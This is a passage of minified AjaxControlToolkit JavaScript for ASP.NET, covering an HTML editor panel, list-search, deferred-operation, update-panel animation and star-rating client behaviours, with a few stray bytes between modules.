b=0;b<a.get_toolbars().length;b++)a.get_toolbars()[b].set_activeEditPanel(a);AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel=a},_really_focused:function(){this._focused();this.raiseFocused(new Sys.EventArgs)},updateToolbar:function(){this._focused()},getContent:function(){var a=this.get_activePanel().get_content().replace(/<\/?html(?=\s|>)(?:[^>]*?)>/gi,"").replace(/<\/?head(?=\s|>)(?:[^>]*?)>/gi,"").replace(/<\/?body(?=\s|>)(?:[^>]*?)>/gi,"").replace(/^([\n\r]+)/,"").replace(/([\n\r]+)$/,"");if(!AjaxControlToolkit.HTMLEditor.isIE)a=a.replace(/^<br\s*[\/]*>$/,"");return a},setContent:function(c){var b=this,a=c;if(b.get_noScript())a=a.replace(/(<script(?:[^>]*?)>(?:[^<]*?)<\/script(?:[^>]*?)>)/ig,"");a=a.replace(/<\/?html(?=\s|>)(?:[^>]*?)>/gi,"").replace(/<\/?head(?=\s|>)(?:[^>]*?)>/gi,"").replace(/<\/?body(?=\s|>)(?:[^>]*?)>/gi,"").replace(/^([\n\r]+)/,"").replace(/([\n\r]+)$/,"");b._prepareContentForPostback(a);b.get_activePanel().set_content(a);b._validate(null,a)},_validate:function(d,c){var a=this._validators;if(a!=null&&typeof a!="undefined"){this._contentForValidation=c;try{for(var b=0;b<a.length;b++)window.ValidatorValidate(a[b],null,d);window.ValidatorUpdateIsValid()}catch(e){}this._contentForValidation=null}},_prepareContentForPostback:function(a){this.get_contentElement().value=a.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/\"/g,"&quot;")},_getContentForPostback:function(){return this.get_contentElement().value.replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&quot;/g,'"').replace(/&amp;/g,"&")},_setMode:function(b){var a=this,g=a.get_activePanel();if(!g._activated){var k=a;setTimeout(function(){k._setMode(b)},10);return false}var d=a.get_content();if(AjaxControlToolkit.HTMLEditor.isOpera)d=d.replace(/\r/ig,"");if(a._shouldResize&&b==AjaxControlToolkit.HTMLEditor.ActiveModeType.Html){var h=a.get_activePanel(),i=a.get_modePanels()[AjaxControlToolkit.HTMLEditor.ActiveModeType.Html];if(h!=null&&i!=null){var c=h.get_element(),e=c.offsetHeight,j=false,f;if(e==0){j=true;f=AjaxControlToolkit.HTMLEditor.setElementVisibility(c.parentNode);e=c.offsetHeight}i.get_element().style.height=e+"px";if(j){AjaxControlToolkit.HTMLEditor.restoreElementVisibility(f);delete f}}}a.disableToolbars(b);g._deactivate();a._activeMode=b;a.setContent(d);return true},disableToolbars:function(c){for(var a=0;a<this.get_toolbars().length;a++){var b=this.get_toolbars()[a];b._loaded&&b.disable(c)}},openWait:function(){},closeWait:function(){}};AjaxControlToolkit.HTMLEditor.EditPanel.registerClass("AjaxControlToolkit.HTMLEditor.EditPanel",Sys.UI.Control);jType.registerNamespace("AjaxControlToolkit.HTMLEditor");AjaxControlToolkit.HTMLEditor.Editor=function(b){var a=this;AjaxControlToolkit.HTMLEditor.Editor.initializeBase(a,[b]);a._editPanel=null;a._changingToolbar=null;if(AjaxControlToolkit.HTMLEditor.isIE&&Sys.Browser.version==8&&document.compatMode!="BackCompat"||AjaxControlToolkit.HTMLEditor.isOpera)a._onresize$delegate=Function.createDelegate(a,a._onresize)};AjaxControlToolkit.HTMLEditor.Editor.prototype={get_autofocus:function(){return this._editPanel.get_autofocus()},set_autofocus:function(a){this._editPanel.set_autofocus(a)},get_content:function(){return this._editPanel.get_content()},set_content:function(a){this._editPanel.set_content(a)},get_activeMode:function(){return this._editPanel.get_activeMode()},set_activeMode:function(a){this._editPanel.set_activeMode(a)},get_editPanel:function(){return this._editPanel},set_editPanel:function(a){this._editPanel=a},get_changingToolbar:function(){return this._changingToolbar},set_changingToolbar:function(a){this._changingToolbar=a},add_propertyChanged:function(a){this._editPanel.add_propertyChanged(a)},remove_propertyChanged:function(a){this._editPanel.remove_propertyChanged(a)},initialize:function(){var c="BackCompat",a=this;AjaxControlToolkit.HTMLEditor.Editor.callBaseMethod(a,"initialize");var b=a.get_element(),e=b.className;Sys.UI.DomElement.removeCssClass(b,e);Sys.UI.DomElement.addCssClass(b,"ajax__htmleditor_editor_base");Sys.UI.DomElement.addCssClass(b,e);if(!AjaxControlToolkit.HTMLEditor.isIE&&document.compatMode!=c)a.get_element().style.height="100%";if(AjaxControlToolkit.HTMLEditor.isIE&&Sys.Browser.version==8&&document.compatMode!=c||AjaxControlToolkit.HTMLEditor.isOpera){$addHandlers(b,{resize:a._onresize$delegate});var d=a.get_editPanel();a._saved_setActive=d._setActive;d._setActive=Function.createDelegate(a,a._setActive);var f=a;if(AjaxControlToolkit.HTMLEditor.isOpera)setTimeout(function(){f._ensureVisibleResize()},0);else f._ensureVisibleResize()}},_setActive:function(c){var a=this,b=a;Function.createDelegate(a.get_editPanel(),a._saved_setActive)(c);if(!AjaxControlToolkit.HTMLEditor.isReallyVisible(a.get_element()))setTimeout(function(){b._ensureVisibleResize()},0);else b._ensureVisibleResize()},_ensureVisibleResize:function(){var b=false,a;if(!AjaxControlToolkit.HTMLEditor.isReallyVisible(this.get_element())){b=true;a=AjaxControlToolkit.HTMLEditor.setElementVisibility(this.get_element())}this._onresize();if(b){AjaxControlToolkit.HTMLEditor.restoreElementVisibility(a);delete a}},dispose:function(){var a=this;if(AjaxControlToolkit.HTMLEditor.isIE&&Sys.Browser.version==8&&document.compatMode!="BackCompat"||AjaxControlToolkit.HTMLEditor.isOpera){$common.removeHandlers(a.get_element(),{resize:a._onresize$delegate});a.get_editPanel()._setActive=a._saved_setActive}AjaxControlToolkit.HTMLEditor.Editor.callBaseMethod(a,"dispose")},_onresize:function(c){var b="undefined";try{var a=this.get_editPanel().get_element().parentNode;if(typeof c==b||c==null)a.style.height="";var d=AjaxControlToolkit.HTMLEditor.Editor.MidleCellHeightForIE(a.parentNode.parentNode.parentNode,a.parentNode);a.style.height=d;typeof this.get_editPanel().get_activePanel()._onresize!=b&&this.get_editPanel().get_activePanel()._onresize()}catch(e){}return true}};AjaxControlToolkit.HTMLEditor.Editor.registerClass("AjaxControlToolkit.HTMLEditor.Editor",Sys.UI.Control);AjaxControlToolkit.HTMLEditor.Editor.MidleCellHeightForIE=function(a,h){var e="100%";if(AjaxControlToolkit.HTMLEditor.isIE&&document.compatMode!="BackCompat"||AjaxControlToolkit.HTMLEditor.isOpera)try{for(var g=2,c=0;c<a.rows.length;c++)if(a.rows[c]!=h)g+=a.rows[c].offsetHeight+1;var b=a.clientHeight;if(Sys.Browser.version==8||AjaxControlToolkit.HTMLEditor.isOpera){var d=a.style.height,f=a.parentNode.style.height;if(d.indexOf("px")>0)b=parseInt(d);else if(d=="100%"&&f.indexOf("px")>0)b=parseInt(f)}e=(b-g)*100/(b*1)+"%"}catch(i){e=""}return e};�*Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.ListSearchBehavior=function(d){var c=false,b=null,a=this;AjaxControlToolkit.ListSearchBehavior.initializeBase(a,[d]);a._promptCssClass=b;a._promptText=AjaxControlToolkit.Resources.ListSearch_DefaultPrompt;a._offsetX=0;a._offsetY=0;a._promptPosition=AjaxControlToolkit.ListSearchPromptPosition.Top;a._raiseImmediateOnChange=c;a._queryPattern=AjaxControlToolkit.ListSearchQueryPattern.StartsWith;a._isSorted=c;a._popupBehavior=b;a._onShowJson=b;a._onHideJson=b;a._originalIndex=0;a._newIndex=-1;a._showingPromptText=c;a._searchText="";a._ellipsis=String.fromCharCode(8230);a._binarySearch=c;a._applicationLoadDelegate=b;a._focusIndex=0;a._queryTimeout=0;a._timer=b;a._matchFound=c;a._focusHandler=b;a._blurHandler=b;a._keyDownHandler=b;a._keyUpHandler=b;a._keyPressHandler=b};AjaxControlToolkit.ListSearchBehavior.prototype={initialize:function(){var a=this;AjaxControlToolkit.ListSearchBehavior.callBaseMethod(a,"initialize");var b=a.get_element();if(b&&b.tagName==="SELECT"){a._focusHandler=Function.createDelegate(a,a._onFocus);a._blurHandler=Function.createDelegate(a,a._onBlur);a._keyDownHandler=Function.createDelegate(a,a._onKeyDown);a._keyUpHandler=Function.createDelegate(a,a._onKeyUp);a._keyPressHandler=Function.createDelegate(a,a._onKeyPress);$addHandler(b,"focus",a._focusHandler);$addHandler(b,"blur",a._blurHandler);$addHandler(b,"keydown",a._keyDownHandler);$addHandler(b,"keyup",a._keyUpHandler);$addHandler(b,"keypress",a._keyPressHandler);a._applicationLoadDelegate=Function.createDelegate(a,a._onApplicationLoad);Sys.Application.add_load(a._applicationLoadDelegate)}},dispose:function(){var a=this,b=a.get_element();$removeHandler(b,"keypress",a._keyPressHandler);$removeHandler(b,"keyup",a._keyUpHandler);$removeHandler(b,"keydown",a._keyDownHandler);$removeHandler(b,"blur",a._blurHandler);$removeHandler(b,"focus",a._focusHandler);a._onShowJson=null;a._onHideJson=null;a._disposePopupBehavior();if(a._applicationLoadDelegate){Sys.Application.remove_load(a._applicationLoadDelegate);a._applicationLoadDelegate=null}a._timer&&a._stopTimer();AjaxControlToolkit.ListSearchBehavior.callBaseMethod(a,"dispose")},_onApplicationLoad:function(){var b=false,a=AjaxControlToolkit.ListSearchBehavior.callBaseMethod(this,"get_ClientState");if(a!=null&&a!=""){b=a==="Focused";AjaxControlToolkit.ListSearchBehavior.callBaseMethod(this,"set_ClientState",null)}b&&this._handleFocus()},_checkIfSorted:function(d){if(this._isSorted)return true;else{for(var a=null,e=d.length,b=0;b<e;b++){var c=d[b].text.toLowerCase();if(a&&this._compareStrings(c,a)<0)return false;a=c}return true}},_onFocus:function(){this._handleFocus()},_handleFocus:function(){var a=this,b=a.get_element();a._focusIndex=b.selectedIndex;if(!a._promptDiv){a._promptDiv=document.createElement("div");a._promptDiv.id=b.id+"_promptDiv";a._promptDiv.innerHTML=a._promptText&&a._promptText.length>0?a._promptText:AjaxControlToolkit.Resources.ListSearch_DefaultPrompt;a._showingPromptText=true;if(a._promptCssClass)a._promptDiv.className=a._promptCssClass;b.parentNode.insertBefore(a._promptDiv,b.nextSibling);a._promptDiv.style.overflow="hidden";a._promptDiv.style.height=a._promptDiv.offsetHeight+"px";a._promptDiv.style.width=b.offsetWidth+"px"}if(!a._popupBehavior)a._popupBehavior=$create(AjaxControlToolkit.PopupBehavior,{parentElement:b},{},{},a._promptDiv);if(a._promptPosition&&a._promptPosition==AjaxControlToolkit.ListSearchPromptPosition.Bottom)a._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.BottomLeft);else a._popupBehavior.set_positioningMode(AjaxControlToolkit.PositioningMode.TopLeft);a._onShowJson&&a._popupBehavior.set_onShow(a._onShowJson);a._onHideJson&&a._popupBehavior.set_onHide(a._onHideJson);a._popupBehavior.show();a._updatePromptDiv(a._promptText)},_onBlur:function(){var a=this;a._disposePopupBehavior();var b=a._promptDiv,c=a.get_element();if(b){a._promptDiv=null;b.parentNode.removeChild(b)}!a._raiseImmediateOnChange&&a._focusIndex!=c.selectedIndex&&a._raiseOnChange(c)},_disposePopupBehavior:function(){if(this._popupBehavior){this._popupBehavior.dispose();this._popupBehavior=null}},_onKeyDown:function(c){var a=this,b=a.get_element(),d=a._promptDiv;if(!b||!d)return;a._originalIndex=b.selectedIndex;if(a._showingPromptText){d.innerHTML="";a._searchText="";a._showingPromptText=false;a._binarySearch=a._checkIfSorted(b.options)}if(c.keyCode==Sys.UI.Key.backspace){c.preventDefault();c.stopPropagation();a._removeCharacterFromPromptDiv();a._searchForTypedText(b);(!a._searchText||a._searchText.length==0)&&a._stopTimer()}else if(c.keyCode==Sys.UI.Key.esc){c.preventDefault();c.stopPropagation();d.innerHTML="";a._searchText="";a._searchForTypedText(b);a._stopTimer()}else if(c.keyCode==Sys.UI.Key.enter&&!a._raiseImmediateOnChange&&a._focusIndex!=b.selectedIndex){a._focusIndex=b.selectedIndex;a._raiseOnChange(b)}},_onKeyUp:function(){var a=this,c=a.get_element(),b=a._promptDiv;if(!c||!b)return;if(a._newIndex==-1||!c||!b||b.innerHTML==""){a._newIndex=-1;return}c.selectedIndex=a._newIndex;a._newIndex=-1},_onKeyPress:function(b){var a=this,c=a.get_element(),d=a._promptDiv;if(!c||!d)return;if(!a._isNormalChar(b)){if(b.charCode==Sys.UI.Key.backspace){b.preventDefault();b.stopPropagation();a._searchText&&a._searchText.length==0&&a._stopTimer()}return}b.preventDefault();b.stopPropagation();a._addCharacterToPromptDiv(b.charCode);a._searchForTypedText(c);a._stopTimer();a._searchText&&a._searchText.length!=0&&a._startTimer()},_isNormalChar:function(a){if(Sys.Browser.agent==Sys.Browser.Firefox&&a.rawEvent.keyCode)return false;if(Sys.Browser.agent==Sys.Browser.Opera&&a.rawEvent.which==0)return false;if(a.charCode&&(a.charCode<Sys.UI.Key.space||a.charCode>6e3))return false;return true},_updatePromptDiv:function(f){var d=this,a=d._promptDiv;if(!a||!d.get_element())return;var b=typeof f==="undefined"?d._searchText:f,c=a.firstChild;if(!c){c=document.createTextNode(b);a.appendChild(c)}else c.nodeValue=b;if(a.scrollWidth<=a.offsetWidth&&a.scrollHeight<=a.offsetHeight)return;for(var e=b.length-1;e>0&&(a.scrollWidth>a.offsetWidth||a.scrollHeight>a.offsetHeight);e--)c.nodeValue=d._ellipsis+b.substring(b.length-e,b.length)},_addCharacterToPromptDiv:function(a){this._searchText+=String.fromCharCode(a);this._updatePromptDiv()},_removeCharacterFromPromptDiv:function(){var a=this;if(a._searchText&&a._searchText!=""){a._searchText=a._searchText.substring(0,a._searchText.length-1);a._updatePromptDiv()}},_searchForTypedText:function(c){var a=this,f=a._searchText,d=c.options,e=f?f.toLowerCase():"";a._matchFound=false;if(e.length==0){if(d.length>0){c.selectedIndex=0;a._newIndex=0}}else{var b=-1;if(a._binarySearch&&a._queryPattern==AjaxControlToolkit.ListSearchQueryPattern.StartsWith)b=a._doBinarySearch(d,e,0,d.length-1);else b=a._doLinearSearch(d,e,0,d.length-1);if(b==-1)a._newIndex=a._originalIndex;else{c.selectedIndex=b;a._newIndex=b;a._matchFound=true}}a._raiseImmediateOnChange&&a._originalIndex!=c.selectedIndex&&a._raiseOnChange(c)},_raiseOnChange:function(b){if(document.createEvent){var a=document.createEvent("HTMLEvents");a.initEvent("change",true,false);b.dispatchEvent(a)}else document.createEventObject&&b.fireEvent("onchange")},_compareStrings:function(a,b){return a==b?0:a<b?-1:1},_doBinarySearch:function(f,c,d,b){while(d<=b){var a=Math.floor((d+b)/2),g=f[a].text.toLowerCase().substring(0,c.length),e=this._compareStrings(c,g);if(e>0)d=a+1;else if(e<0)b=a-1;else{while(a>0&&f[a-1].text.toLowerCase().startsWith(c))a--;return a}}return -1},_doLinearSearch:function(b,d,e,c){if(this._queryPattern==AjaxControlToolkit.ListSearchQueryPattern.Contains){for(var a=e;a<=c;a++)if(b[a].text.toLowerCase().indexOf(d)>=0)return a}else if(this._queryPattern==AjaxControlToolkit.ListSearchQueryPattern.StartsWith)for(var a=e;a<=c;a++)if(b[a].text.toLowerCase().startsWith(d))return a;return -1},_onTimerTick:function(){var a=this;a._stopTimer();if(!a._matchFound){a._searchText="";a._updatePromptDiv()}},_startTimer:function(){var a=this;if(a._queryTimeout>0)a._timer=window.setTimeout(Function.createDelegate(a,a._onTimerTick),a._queryTimeout)},_stopTimer:function(){this._timer!=null&&window.clearTimeout(this._timer);this._timer=null},get_onShow:function(){return this._popupBehavior?this._popupBehavior.get_onShow():this._onShowJson},set_onShow:function(b){var a=this;if(a._popupBehavior)a._popupBehavior.set_onShow(b);else a._onShowJson=b;a.raisePropertyChanged("onShow")},get_onShowBehavior:function(){return this._popupBehavior?this._popupBehavior.get_onShowBehavior():null},onShow:function(){this._popupBehavior&&this._popupBehavior.onShow()},get_onHide:function(){return this._popupBehavior?this._popupBehavior.get_onHide():this._onHideJson},set_onHide:function(b){var a=this;if(a._popupBehavior)a._popupBehavior.set_onHide(b);else a._onHideJson=b;a.raisePropertyChanged("onHide")},get_onHideBehavior:function(){return this._popupBehavior?this._popupBehavior.get_onHideBehavior():null},onHide:function(){this._popupBehavior&&this._popupBehavior.onHide()},get_promptText:function(){return this._promptText},set_promptText:function(a){if(this._promptText!=a){this._promptText=a;this.raisePropertyChanged("promptText")}},get_promptCssClass:function(){return this._promptCssClass},set_promptCssClass:function(a){if(this._promptCssClass!=a){this._promptCssClass=a;this.raisePropertyChanged("promptCssClass")}},get_promptPosition:function(){return this._promptPosition},set_promptPosition:function(a){if(this._promptPosition!=a){this._promptPosition=a;this.raisePropertyChanged("promptPosition")}},get_raiseImmediateOnChange:function(){return this._raiseImmediateOnChange},set_raiseImmediateOnChange:function(a){if(this._raiseImmediateOnChange!=a){this._raiseImmediateOnChange=a;this.raisePropertyChanged("raiseImmediateOnChange")}},get_queryTimeout:function(){return this._queryTimeout},set_queryTimeout:function(a){if(this._queryTimeout!=a){this._queryTimeout=a;this.raisePropertyChanged("queryTimeout")}},get_isSorted:function(){return this._isSorted},set_isSorted:function(a){if(this._isSorted!=a){this._isSorted=a;this.raisePropertyChanged("isSorted")}},get_queryPattern:function(){return this._queryPattern},set_queryPattern:function(a){if(this._queryPattern!=a){this._queryPattern=a;this.raisePropertyChanged("queryPattern")}}};AjaxControlToolkit.ListSearchBehavior.registerClass("AjaxControlToolkit.ListSearchBehavior",AjaxControlToolkit.BehaviorBase);AjaxControlToolkit.ListSearchPromptPosition=function(){throw Error.invalidOperation();};AjaxControlToolkit.ListSearchPromptPosition.prototype={Top:0,Bottom:1};AjaxControlToolkit.ListSearchPromptPosition.registerEnum("AjaxControlToolkit.ListSearchPromptPosition");AjaxControlToolkit.ListSearchQueryPattern=function(){throw Error.invalidOperation();};AjaxControlToolkit.ListSearchQueryPattern.prototype={StartsWith:0,Contains:1};AjaxControlToolkit.ListSearchQueryPattern.registerEnum("AjaxControlToolkit.ListSearchQueryPattern");l	Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.DeferredOperation=function(e,d,c){var b=null,a=this;a._delay=e;a._context=d;a._callback=c;a._completeCallback=b;a._errorCallback=b;a._timer=b;a._callArgs=b;a._isComplete=false;a._completedSynchronously=false;a._asyncResult=b;a._exception=b;a._throwExceptions=true;a._oncomplete$delegate=Function.createDelegate(a,a._oncomplete);a.post=Function.createDelegate(a,a.post)};AjaxControlToolkit.DeferredOperation.prototype={get_isPending:function(){return this._timer!=null},get_isComplete:function(){return this._isComplete},get_completedSynchronously:function(){return this._completedSynchronously},get_exception:function(){return this._exception},get_throwExceptions:function(){return this._throwExceptions},set_throwExceptions:function(a){this._throwExceptions=a},get_delay:function(){return this._delay},set_delay:function(a){this._delay=a},post:function(){for(var b=[],a=0;a<arguments.length;a++)b[a]=arguments[a];this.beginPost(b,null,null)},beginPost:function(d,b,c){var a=this;a.cancel();a._callArgs=Array.clone(d||[]);a._completeCallback=b;a._errorCallback=c;if(a._delay==-1)try{a._oncomplete()}finally{a._completedSynchronously=true}else a._timer=setTimeout(a._oncomplete$delegate,a._delay)},cancel:function(){var b=null,a=this;if(a._timer){clearTimeout(a._timer);a._timer=b}a._callArgs=b;a._isComplete=false;a._asyncResult=b;a._completeCallback=b;a._errorCallback=b;a._exception=b;a._completedSynchronously=false},call:function(){var a=this;for(var c=[],b=0;b<arguments.length;b++)c[b]=arguments[b];a.cancel();a._callArgs=c;a._completeCallback=null;a._errorCallback=null;try{a._oncomplete()}finally{a._completedSynchronously=true}if(a._exception)throw a._exception;return a._asyncResult},complete:function(){var a=this;if(a._timer){try{a._oncomplete()}finally{a._completedSynchronously=true}return a._asyncResult}else if(a._isComplete)return a._asyncResult},_oncomplete:function(){var a=this,d=a._callArgs,b=a._completeCallback,c=a._errorCallback;a.cancel();try{if(d)a._asyncResult=a._callback.apply(a._context,d);else a._asyncResult=a._callback.call(a._context);a._isComplete=true;a._completedSynchronously=false;b&&b(a)}catch(e){a._isComplete=true;a._completedSynchronously=false;a._exception=e;if(c)if(c(a))return;if(a._throwExceptions)throw e;}}};AjaxControlToolkit.DeferredOperation.registerClass("AjaxControlToolkit.DeferredOperation");
Type.registerNamespace("AjaxControlToolkit.Animation");AjaxControlToolkit.Animation.UpdatePanelAnimationBehavior=function(b){var a=this;AjaxControlToolkit.Animation.UpdatePanelAnimationBehavior.initializeBase(a,[b]);a._onUpdating=new AjaxControlToolkit.Animation.GenericAnimationBehavior(b);a._onUpdated=new AjaxControlToolkit.Animation.GenericAnimationBehavior(b);a._postBackPending=null;a._pageLoadedHandler=null};AjaxControlToolkit.Animation.UpdatePanelAnimationBehavior.prototype={initialize:function(){var a=this;AjaxControlToolkit.Animation.UpdatePanelAnimationBehavior.callBaseMethod(a,"initialize");var c=a.get_element(),b=document.createElement(c.tagName);c.parentNode.insertBefore(b,c);b.appendChild(c);Array.remove(c._behaviors,a);Array.remove(c._behaviors,a._onUpdating);Array.remove(c._behaviors,a._onUpdated);if(b._behaviors){Array.add(b._behaviors,a);Array.add(b._behaviors,a._onUpdating);Array.add(b._behaviors,a._onUpdated)}else b._behaviors=[a,a._onUpdating,a._onUpdated];a._element=a._onUpdating._element=a._onUpdated._element=b;a._onUpdating.initialize();a._onUpdated.initialize();a.registerPartialUpdateEvents();a._pageLoadedHandler=Function.createDelegate(a,a._pageLoaded);a._pageRequestManager.add_pageLoaded(a._pageLoadedHandler)},dispose:function(){var a=this;if(a._pageRequestManager&&a._pageLoadedHandler){a._pageRequestManager.remove_pageLoaded(a._pageLoadedHandler);a._pageLoadedHandler=null}AjaxControlToolkit.Animation.UpdatePanelAnimationBehavior.callBaseMethod(a,"dispose")},_partialUpdateBeginRequest:function(c,b){var a=this;AjaxControlToolkit.Animation.UpdatePanelAnimationBehavior.callBaseMethod(a,"_partialUpdateBeginRequest",[c,b]);if(!a._postBackPending){a._postBackPending=true;a._onUpdated.quit();a._onUpdating.play()}},_pageLoaded:function(f,e){var a=this;if(a._postBackPending){a._postBackPending=false;for(var d=a.get_element(),c=e.get_panelsUpdated(),b=0;b<c.length;b++)if(c[b].parentNode==d){a._onUpdating.quit();a._onUpdated.play();break}}},get_OnUpdating:function(){return this._onUpdating.get_json()},set_OnUpdating:function(a){this._onUpdating.set_json(a);this.raisePropertyChanged("OnUpdating")},get_OnUpdatingBehavior:function(){return this._onUpdating},get_OnUpdated:function(){return this._onUpdated.get_json()},set_OnUpdated:function(a){this._onUpdated.set_json(a);this.raisePropertyChanged("OnUpdated")},get_OnUpdatedBehavior:function(){return this._onUpdated}};AjaxControlToolkit.Animation.UpdatePanelAnimationBehavior.registerClass("AjaxControlToolkit.Animation.UpdatePanelAnimationBehavior",AjaxControlToolkit.BehaviorBase);�Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.RatingBehavior=function(c){var b=null,a=this;AjaxControlToolkit.RatingBehavior.initializeBase(a,[c]);a._starCssClass=b;a._filledStarCssClass=b;a._emptyStarCssClass=b;a._waitingStarCssClass=b;a._readOnly=false;a._ratingValue=0;a._currentRating=0;a._maxRatingValue=5;a._tag="";a._ratingDirection=0;a._stars=b;a._callbackID=b;a._mouseOutHandler=Function.createDelegate(a,a._onMouseOut);a._starClickHandler=Function.createDelegate(a,a._onStarClick);a._starMouseOverHandler=Function.createDelegate(a,a._onStarMouseOver);a._keyDownHandler=Function.createDelegate(a,a._onKeyDownBack);a._autoPostBack=false};AjaxControlToolkit.RatingBehavior.prototype={initialize:function(){var a=this;AjaxControlToolkit.RatingBehavior.callBaseMethod(a,"initialize");var c=a.get_element();a._stars=[];for(var b=1;b<=a._maxRatingValue;b++){starElement=$get(c.id+"_Star_"+b);starElement.value=b;Array.add(a._stars,starElement);$addHandler(starElement,"click",a._starClickHandler);$addHandler(starElement,"mouseover",a._starMouseOverHandler)}$addHandler(c,"mouseout",a._mouseOutHandler);$addHandler(c,"keydown",a._keyDownHandler);a._update()},dispose:function(){var a=this,d=a.get_element();if(a._stars){for(var b=0;b<a._stars.length;b++){var c=a._stars[b];$removeHandler(c,"click",a._starClickHandler);$removeHandler(c,"mouseover",a._starMouseOverHandler)}a._stars=null}$removeHandler(d,"mouseout",a._mouseOutHandler);$removeHandler(d,"keydown",a._keyDownHandler);AjaxControlToolkit.RatingBehavior.callBaseMethod(a,"dispose")},_onError:function(a){alert(String.format(AjaxControlToolkit.Resources.Rating_CallbackError,a))},_receiveServerData:function(b,a){a._waitingMode(false);a.raiseEndClientCallback(b)},_onMouseOut:function(){var a=this;if(a._readOnly)return;a._currentRating=a._ratingValue;a._update();a.raiseMouseOut(a._currentRating)},_onStarClick:function(){var a=this;if(a._readOnly)return;a._ratingValue!=a._currentRating&&a.set_Rating(a._currentRating)},_onStarMouseOver:function(b){var a=this;if(a._readOnly)return;if(a._ratingDirection==0)a._currentRating=b.target.value;else a._currentRating=a._maxRatingValue+1-b.target.value;a._update();a.raiseMouseOver(a._currentRating)},_onKeyDownBack:function(b){var a=this;if(a._readOnly)return;var c=b.keyCode?b.keyCode:b.rawEvent.keyCode;if(c==Sys.UI.Key.right||c==Sys.UI.Key.up){a._currentRating=Math.min(a._currentRating+1,a._maxRatingValue);a.set_Rating(a._currentRating);b.preventDefault();b.stopPropagation()}else if(c==Sys.UI.Key.left||c==Sys.UI.Key.down){a._currentRating=Math.max(a._currentRating-1,1);a.set_Rating(a._currentRating);b.preventDefault();b.stopPropagation()}},_waitingMode:function(d){var a=this;for(var c=0;c<a._maxRatingValue;c++){var b;if(a._ratingDirection==0)b=a._stars[c];else b=a._stars[a._maxRatingValue-c-1];if(a._currentRating>c)if(d){Sys.UI.DomElement.removeCssClass(b,a._filledStarCssClass);Sys.UI.DomElement.addCssClass(b,a._waitingStarCssClass)}else{Sys.UI.DomElement.removeCssClass(b,a._waitingStarCssClass);Sys.UI.DomElement.addCssClass(b,a._filledStarCssClass)}else{Sys.UI.DomElement.removeCssClass(b,a._waitingStarCssClass);Sys.UI.DomElement.removeCssClass(b,a._filledStarCssClass);Sys.UI.DomElement.addCssClass(b,a._emptyStarCssClass)}}},_update:function(){var a=this,d=a.get_element();$get(d.id+"_A").title=a._currentRating;for(var c=0;c<a._maxRatingValue;c++){var b;if(a._ratingDirection==0)b=a._stars[c];else b=a._stars[a._maxRatingValue-c-1];if(a._currentRating>c){Sys.UI.DomElement.removeCssClass(b,a._emptyStarCssClass);Sys.UI.DomElement.addCssClass(b,a._filledStarCssClass)}else{Sys.UI.DomElement.removeCssClass(b,a._filledStarCssClass);Sys.UI.DomElement.addCssClass(b,a._emptyStarCssClass)}}},add_Rated:function(a){this.get_events().addHandler("Rated",a)},remove_Rated:function(a){this.get_events().removeHandler("Rated",a)},raiseRated:function(b){var a=this.get_events().getHandler("Rated");a&&a(this,new AjaxControlToolkit.RatingEventArgs(b))},add_MouseOver:function(a){this.get_events().addHandler("MouseOver",a)},remove_MouseOver:function(a){this.get_events().removeHandler("MouseOver",a)},raiseMouseOver:function(b){var a=this.get_events().getHandler("MouseOver");a&&a(this,new AjaxControlToolkit.RatingEventArgs(b))},add_MouseOut:function(a){this.get_events().addHandler("MouseOut",a)},remove_MouseOut:function(a){this.get_events().removeHandler("MouseOut",a)},raiseMouseOut:function(b){var a=this.get_events().getHandler("MouseOut");a&&a(this,new AjaxControlToolkit.RatingEventArgs(b))},add_EndClientCallback:function(a){this.get_events().addHandler("EndClientCallback",a)},remove_EndClientCallback:function(a){this.get_events().removeHandler("EndClientCallback",a)},raiseEndClientCallback:function(b){var a=this.get_events().getHandler("EndClientCallback");a&&a(this,new AjaxControlToolkit.RatingCallbackResultEventArgs(b))},get_AutoPostBack:function(){return this._autoPostBack},set_AutoPostBack:function(a){this._autoPostBack=a},get_Stars:function(){return this._stars},get_Tag:function(){return this._tag},set_Tag:function(a){if(this._tag!=a){this._tag=a;this.raisePropertyChanged("Tag")}},get_CallbackID:function(){return this._callbackID},set_CallbackID:function(a){this._callbackID=a},get_RatingDirection:function(){return this._ratingDirection},set_RatingDirection:function(b){var a=this;if(a._ratingDirection!=b){a._ratingDirection=b;a.get_isInitialized()&&a._update();a.raisePropertyChanged("RatingDirection")}},get_EmptyStarCssClass:function(){return this._emptyStarCssClass},set_EmptyStarCssClass:function(a){if(this._emptyStarCssClass!=a){this._emptyStarCssClass=a;this.raisePropertyChanged("EmptyStarCssClass")}},get_FilledStarCssClass:function(){return this._filledStarCssClass},set_FilledStarCssClass:function(a){if(this._filledStarCssClass!=a){this._filledStarCssClass=a;this.raisePropertyChanged("FilledStarCssClass")}},get_WaitingStarCssClass:function(){return this._waitingStarCssClass},set_WaitingStarCssClass:function(a){if(this._waitingStarCssClass!=a){this._waitingStarCssClass=a;this.raisePropertyChanged("WaitingStarCssClass")}},get_Rating:function(){var a=this;a._ratingValue=AjaxControlToolkit.RatingBehavior.callBaseMethod(a,"get_ClientState");if(a._ratingValue=="")a._ratingValue=null;return a._ratingValue},set_Rating:function(b){var a=this;if(a._ratingValue!=b){a._ratingValue=b;a._currentRating=b;if(a.get_isInitialized()){if(b<0||b>a._maxRatingValue)return;a._update();AjaxControlToolkit.RatingBehavior.callBaseMethod(a,"set_ClientState",[a._ratingValue]);a.raisePropertyChanged("Rating");a.raiseRated(a._currentRating);a._waitingMode(true);var c=a._currentRating+";"+a._tag,d=a._callbackID;if(a._autoPostBack)__doPostBack(d,c);else WebForm_DoCallback(d,c,a._receiveServerData,a,a._onError,true)}}},get_MaxRating:function(){return this._maxRatingValue},set_MaxRating:function(a){if(this._maxRatingValue!=a){this._maxRatingValue=a;this.raisePropertyChanged("MaxRating")}},get_ReadOnly:function(){return this._readOnly},set_ReadOnly:function(a){if(this._readOnly!=a){this._readOnly=a;this.raisePropertyChanged("ReadOnly")}},get_StarCssClass:function(){return 